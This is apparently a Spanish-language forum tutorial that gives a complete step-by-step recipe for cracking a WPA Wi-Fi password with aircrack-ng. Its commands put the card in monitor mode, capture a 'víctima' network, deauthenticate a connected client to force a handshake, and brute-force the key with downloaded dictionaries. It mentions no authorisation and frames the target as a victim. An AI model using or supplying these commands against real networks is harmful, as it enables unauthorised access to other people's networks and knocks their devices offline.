tecnología

1. Paso: Poner la targeta inalámbrica en modo monitor (monitor mode enabled):
Cita: Ocultar
airmon-ng start wlan0


2. Paso: Ahora vamos a buscar redes disponibles para esoejecutamos el siguiente comando:
Cita: Ocultar
airodump-ng mon0


3. Paso: Aquí vamos a capturar la red víctima para posteriormente obtener el "Handshake"
Cita: Ocultar
airodump-ng -w red--bssid 00:11:22:33:44:55 -c 11 mon0
Donde:

-w = nombre del archivo .cap (donde se guarda la captura)
--bssid = dirección mac de la red víctima
-c = canal de la red víctima

Tenemosqué tener un cliente conectado en la red víctima, para sacar el "Handshake"



4. Paso: Ahora abrimos una 2° Terminal y vamos a capturar el "Handshake". el handshake es un paqueteespecial qué se recibe cuando se conecta al modem. Tenemos qué desconectar al cliente (station) Para esto ejecutamos el siguiente comando:
Cita: Ocultar
aireplay-ng --deauth 20 -a00:11:22:33:44:55 -c 55:44:33:22:11:00 mon0
Donde:
--deauth = representa las veces qué se desconecta al dispositivo (station)
-a = señala la dirección mac de la red víctima
-c = señala ladirección mac del cliente a desconectar



5. Paso:  Vamos a comprobar si capturamos el "handshake" para esto vamos a la primera terminal y nos fijamos en la parte superior derecha (a unlado de la fecha y hora) lo siguiente: "WPA handshake"



Una vez capturado el "handshake" procedemos a hacer el ataque con el diccionario a fuerza bruta, para esto se necesitan losdiccionarios. A continuación les dejo los links:

Son 10 diccionarios por Mediafire:

Download

6. Paso:  Ya qué tengamos los diccionarios, procedemos a ejecutar aircrack-ng
Cita:Ocultar
aircrack-ng -a 2 -w ruta/al/diccionario red-01.cap
ruta/al/diccionario red-01.cap
ejemplo

Root/SectorGnu/diccionario red-01.cap depende de donde guardaste el archivo